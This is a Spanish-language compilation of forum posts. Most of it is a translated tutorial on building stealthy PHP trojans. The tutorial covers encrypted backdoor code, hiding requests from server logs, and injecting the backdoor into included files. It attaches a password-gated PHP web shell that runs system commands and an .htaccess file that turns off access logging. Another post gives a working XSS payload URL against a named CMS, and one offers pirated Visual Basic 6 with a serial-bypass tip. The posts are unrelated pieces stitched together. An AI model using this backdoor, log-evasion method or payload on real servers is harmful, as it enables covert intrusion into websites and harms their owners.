Hace un rato terminé de traducir este texto.

Se puede bajar de [urhttp://xdseth.byethost5.com/troyanos_en_php.txtl]acá[/url], cuando hayan mas mirros los agrego. Si se ven mal los acentos, hay que bajar el archivo y verlo con un editor de texto.

---

|=--------------------------------------------------------------------------------------------------=|
|=---------------------------=[Introducción a los troyanos en php]=---------------------------------=|
|=-------------------------------------=[ 28 enero 2010 ]=------------------------------------------=|
|=----------------------------------=[  Por shad0w_crash  ]=----------------------------------------=|
|=---------------------------------=[  Traducido por seth  ]=---------------------------------------=|
|=--------------------------------------------------------------------------------------------------=|


Indice

1) Introducción
2) Suposiciones
3) cifrado del código
4) Ocultamiento de la petición
5) Inyección
6) Medidas
7) Contacto

Adjunto 1: Troyano sencillo en php
Adjunto 2: .htaccess

---------------------------------------------------------------------------------------------------------
1. Introducción

Este es mi segundo tutorial asi que sentite libre de enviarme comentarios. El objetivo de este texto es proveer un poco de teoria sobre la creación de troyanos en lenguajes de scripting (en este caso php). No todos los ejemplos están completamente discutidos, así que hay lugar para el debate.
Todo el tema de escribir troyanos es un gran tabú, espero que escribiendo este documento pueda haber un poco de discusión. No quiero quiero que los sitios web sean infectados por troyanos, por eso escribí un montón en pseudo código y no hice una versión que funcione (por favor, no hagas una).

---------------------------------------------------------------------------------------------------------
2. Suposiciones

Para lograr un troyano en php menos detectable, tenemos algunas dificultades:

* Cuando accedés a el, la petición aparece en los archivos de log.
* Cuando aparece un archivo adicional en el directorio web, puede a ser detectado por alguien.
* Cuando agregás código a un index, lo puede ver un programador.
* Cuando agregás código a un index, este va a ser sobreescrito en la proxima actualización.

Este texto no va a solucionar todos esos problemas. Para dar una mejor visión general hice algunas suposiciones:

* Cuando se actualiza una aplicación web y todos los archivos son reemplazados, probablemente se den cuenta de que algo le pasó al código y tu troyano no va a durar mucho tiempo. Para hacer mejores troyanos, no tenes que estar en este nivel del sistema operativo.
* Si el webmaster calcula los hashes de los archivos y los compara periódicamente, los métodos descriptos no van a funcionar (se que se puede solucionar encontrando colisiones pero eso es muy complicado).
* El webmaster no puede crackear (T)DES, GOST, AES, etc.

---------------------------------------------------------------------------------------------------------
3. cifrado del código

Para crear un troyano en PHP dificil de detectar, necesitamos tener uno que funcione para usarlo de base (ver adjunto 1). El funcionamiento de este troyano menos detectable es cifrando el original. El código cifrado es guardado en una función (desde ahora la vamos a llamar f1) que:

1) descifra el archivo y lo pone en un .php con nombre aleatorio.
2) Envia la petición original a ese archivo temporal.
3) Elimina el archivo.

Con esto solucionamos algunos problemas. El programador no conoce y no puede conocer que hace la función. Tampoco lo van a hacer las herramientas que analizan el código, porque la unica forma es descifrando la cadena, con la contraseña. También f1 puede ser insertado en index.php, indicando que la función solo debe ser ejecutada si una variable específica está activada (si no, todas las peticiones al archivo invocarian al troyano).

El mejor lugar para poner esta función son archivos como newsletter.php y login.php, ya que los archivos de librerias y el index son actualizados frecuentemente.

---------------------------------------------------------------------------------------------------------
4. Ocultamiento de la petición

Un desafio que quedó, es evitar que todas las peticiones aparescan en los logs. Voy a diferenciar dos peticiones, la primera es al archivo que contiene f1 y la segunda es la que f1 le hace al archivo temporal descifrado.

Cuando ves una petición http normal hay mucha mas información que solo el GET o el POST. Pueden ser usadas un monton de cabeceras como Accept-Language, User-Agent, etc [1]. Usando getallheaders() podes verlas todas. Tenemos dos opciones:
* Extender nuestra petición con un nuevo valor (violando el RFC, pero con menos chances de que aparezca en los logs.
* Usar un valor elejido para algo en el RFC (y abusarlo, entonces hay mas chances de que un IDS lo detecte)

La función ahora puede obtener sus variables para autentificarse y ejecutar el proceso interno.
** ADVERTENCIA ** esto es seguridad por oscuridad. Es posible sniffear y repetir el ataque. Incluso cuando el servidor usa ssl, hay posibilidades de que el administrador haya puesto una herramienta que lo registre. Entonces, el podria repetir el ataque y darse cuenta de que hay un troyano.
Para evitar esto tenemos que enviar una variable extra al servidor un nuevo hash sha512 que reemplace al anterior. Así seria imposible repetir el ataque porque la contraseña funciona una sola vez.
La segunda petición es mas facil de esconder, para eso vamos a extender f1:
1) Crea un directorio con nombre aleatorio.
2) Escribe el .htaccess en ese directorio.
3) descifra el troyano en un archivo temporal con nombre aleatorio, en el directorio anterior.
4) Envia la petición original al archivo temporal.
5a) Elimina el archivo temporal
5b) Elimina el .htaccess
5c) elimina el directorio
De esta forma, no van a quear rastros en el log de acceso.

---------------------------------------------------------------------------------------------------------
5. Inyección

Ahora que sabemos como esconder el troyano y como ocultarlo (lo mas posible), necesitamos un lugar para guardarlo. Al principio mencioné que puede estar en index.php o algun archivo similar, pero hay formas mas eficientes. Vamos a crear un script que haga lo siguiente:

1) Buscar una llamada a la función include()
2a) Tomar aleatoriamente dos archivos de los que se incluyen
2b) Si no se encuentran, se trabaja sobre el archivo actual
3) Buscar en el archivo variables de f1
4a) Si no coincide, insertar f1
4b) Si coincide, reemplazar variables en f1 y despues insertar la función

---------------------------------------------------------------------------------------------------------
6. Medidas

Lo mejor que podes hacer para no ser infectado por un troyano web es mantener el software actualizado. Cuando tu sitio no es explotable, hay menos posibilidades de ser infectado. También, podes crear una lista con hashes de los archivos, guardarla en una computadora remota y compararlos periódicamente. De esta forma te vas a enterar de los cambios en los archivos.
---------------------------------------------------------------------------------------------------------
7. Contacto
Si tenes algo que añadir, simplemente copiá el texto y envialo al sitio de donde lo sacaste. Para contactarme: http://twitter.com/shad0w_crash (NdT: el habla en inglés, para contactarme a mi http://elrincondeseth.wordpress.com/ o "xd punto seth ar@ro@ba gmail p.u.n.t.o com")

---------------------------------------------------------------------------------------------------------
Attach 1: Most easy PHP trojan.

Adjunto 1: Troyano sencillo en PHP.
<?php
error_reporting(0);   
$action = $_GET['cmd'];
$pw = $_GET['pw'];   
$password = "7a3b4197c700b7a94efef0a0590f465664ff210e120156a8c70913c1302fc06fa1bc85cffbf2fb113f99323f08e91489dd4531a0c3657b22fdc065f87b799f5b";
/* Remove this line!, password= Hasdf4g */
if( hash('sha512',$pw) == $password)
{
   echo system($cmd);
}
?>


---------------------------------------------------------------------------------------------------------
Attach 2: .Htaccess.

Adjunto 2: .htaccess.

SetEnvIf Request_URI "^/tmpdir/tempfile\.php$" dontlog
<Limit GET POST HEAD>
order deny,allow
deny from all
allow from 127.0.0.1 (or the remote ip of the server).
</Limit>

La primer regla evita los logs de acceso para el archivo.
La segunda solo permite peticiones por el servidor mismo.


[1]: http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html

quiero firmar un archivo (no hace falta que sea con vb, puede ser con gpg u otro mientras que funcione), que mi programa lo baje (esto ya lo hice) y que compruebe si la firma es válida

alguno tiene el código?

PD: si, ya googlee y no encontre nada para vb6

es un cms que recien esta naciendo, pero como no me contestaron lo publico:

---

Nombre: Jojo cms
Web: http://www.jojocms.org/
Version: 1.0 rc1
Reporte: http://bugs.jojocms.org/details/task134
Fecha de reporte: Wednesday, 05 November 2008, 12:52 UTC+13:00
Parcheado: no
Tipo de vulnerabilidad: XSS y FPD

---

Cross site scripting (non-persistent) and Full path disclosure:
http://demo.jojocms.org/search/%3Cscript%3Ealert(%22wopa!%22)%3C/script%3E

---

Cross site scripting (persistent):
http://demo.jojocms.org/blog/1/welcome-to-jojocms/


HTTP HEADERS (I injected in 'name' variable):
RESULT:

---

sorry, my english is not good

estoy haciendo una aplicacion de esas que buscan hashes crackeados por internet, pero al intentar buscar el hash (parecido a como lo vi en perl) en una web, no consigo obtener el html normalmente.

Public Function BuscarHash(Web As String, PostData As String, Antes As String, Despues As String) As String
Dim A(1) As Long
Dim Indice As Integer
Dim Resultado As String
 
Indice = Crackeando
 
 
If PostData = "" Then
    frmMain.Net(Indice).Execute Web, "GET"
Else
    frmMain.Net(Indice).Execute Web, "POST", PostData
End If
 
 
 
 'Datos parciales
Dim d_Chunk As Variant
 ' En esta variable se almacenan los datos finales
Dim Datos As String
 
Do
    DoEvents
Loop While frmMain.Net(Indice).StillExecuting = True
 
             d_Chunk = frmMain.Net(Indice).GetChunk(1024, icString)
             Datos = d_Chunk
       Do
             DoEvents
             ' Recupera una porción de datos de 1024 bytes
             d_Chunk = frmMain.Net(Indice).GetChunk(1024, icString)
 
             ' Si ya no hay mas sale
            If Len(d_Chunk) = 0 Then
                Exit Do
            Else
               Datos = Datos & d_Chunk
            End If
       Loop
 
If Antes = "" Then
    A(0) = 0
Else
    A(0) = InStr(1, Datos, Antes)
End If
 
If Despues = "" Then
    A(1) = 0
Else
    A(1) = InStr(1, Datos, Despues)
End If
 
Resultado = Mid(Datos, A(0) + Len(Antes), A(1) - A(0))
 
BuscarHash = Resultado
 
End Function
 

y lo llamo asi:

    Me.tvHashes.Nodes.Add "HH" & Crackeando, tvwChild, "HHH1" & I, "md5.hashcracking.com: " & BuscarHash("http://md5.hashcracking.com/search.php?md5=" & Lista(Crackeando).Valor, "", "Cleartext of " & Lista(Crackeando).Valor & "  is ", "")
    Me.tvHashes.Nodes.Add "HH" & Crackeando, tvwChild, "HHH2" & I, "md5decryption.com: " & BuscarHash("http://md5decryption.com/", "hash=21232f297a57a5a743894a0e4a801fc3&submit=Decrypt+It%21", "<br><b class=""red"">Normal Text: </b>", "<br><script type=""text/javascript""><!--")
 

pero nunca llego a tener la web en Datos :S

alguna ayuda?

http://es.wikipedia.org/wiki/Quine_(programa)

alguien tiene un ejemplo de un quine en vb o la idea de como hacer uno?
para los que no tienen ganas de leer el link: un quine es un programa que muestra su propio source sin abrir el archivo y leerse a si mismo

Muchas veces tenemos códigos que usan wmi, pero al llevarlos a otras computadoras sale un "error de automatización". Con este código simple podemos ver si hay WMI en el equipo.

Function WMIDetect() As Boolean
On Error GoTo NOWMI
    Dim WMI As Object
    Set WMI = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
    Set WMI = Nothing
    WMIDetect = True
    Exit Function
NOWMI:
WMIDetect = False
End Function
 

ejemplo de uso:

Private Sub Form_Load()
MsgBox WMIDetect
End Sub

Les dejo el visual basic 6 en español
Es un solo link de 212.74 MB  (223,073,708 Bytes)

Lo volvi a subir porque el que habia posteado antes era en 20 partes.. y Además creo que el host donde lo tenia cerró

Cuando les pide el serial lo rellenan con 0's y listo. Es el mismo que uso yo


Descarga
Password del rar


PD: no viene con la ayuda, pero para algo existen los foros, google, la msdn online y multitud de páginas mas

---

[/size]


si no va aca, disculpen... muevanlo para donde corresponda

Manual sobre el uso de Fusion para eliminar las dependencias

Les dejo un videotuto PASO POR PASO sobre como instalar y usar fusion para eliminar las dependencias de los ejecutables... osea, nada de pasar ocx's o dll's, solo el exe

es mi primer videotuto, asi que seguramente hayan cosas mal hechas por el lado de la grabacion

es largo porque explique hasta la instalacion (quiero que se entienda bien para evitar las preguntas sobre este tema que se ven a menudo)

descargar videotuto (12.385 kb)
descargar firma digital (.sig) mi llave publica para comprobarla


en el manual dejo links del fusion, pero despues de hacerlo lo subi a mi host

descargar fusion v3 shareware (el del video - 3.469 kb)
descargar firma digital (.sig) mi llave publica para comprobarla

En las vacaciones, como no tenia nada para hacer, agarre un libro de vb4 y me puse a leer como se usa pset…

Hice un código que toma un dibujo ascci y lo convierte con pset. Permite el uso de dos colores (0 y 1), aumento de tamaño (baja la velocidad) y disminucion de calidad (aumenta la velocidad)

Imágen:


Como ven, no es muy bueno para dibujar, pero sirve para aprender del codigo…

El sub mas importante:

Private Sub Dibujar(Dibujo As String, Color1 As Long, Color2 As Long, Tam As Integer, Velocidad As Integer, Objeto As Object)
 
 
Dim I As Long
Dim II As Long
Dim III As Long
Dim Y As Long
Dim X As Long
 
Y = 1
X = 1
 
For I = 1 To Len(Dibujo)
    If Mid(Dibujo, I, Len(vbCrLf)) = vbCrLf Then
        Y = Y + Tam
        X = 1
        I = I + 1
    Else
        X = X + Tam
        DoEvents
 
        If Mid(Dibujo, I, 1) = 1 Then
            Objeto.PSet (X, Y), Color1
                For II = 1 To Tam
                    For III = 0 To Tam Step Velocidad
                        Objeto.PSet (X + II, Y + III), Color1
                    Next III
                Next II
        ElseIf Mid(Dibujo, I, 1) = 0 Then
            Objeto.PSet (X, Y), Color2
            For II = 1 To Tam
                    For III = 0 To Tam Step Velocidad
                        Objeto.PSet (X + II, Y + III), Color2
                    Next III
            Next II
        End If
    End If
 
    'X = X + 1
    'Y = Y + 1
 
DoEvents
 
Next I
End Sub
 
 
 

DESCARGAR TODO EL PROGRAMA

desde aca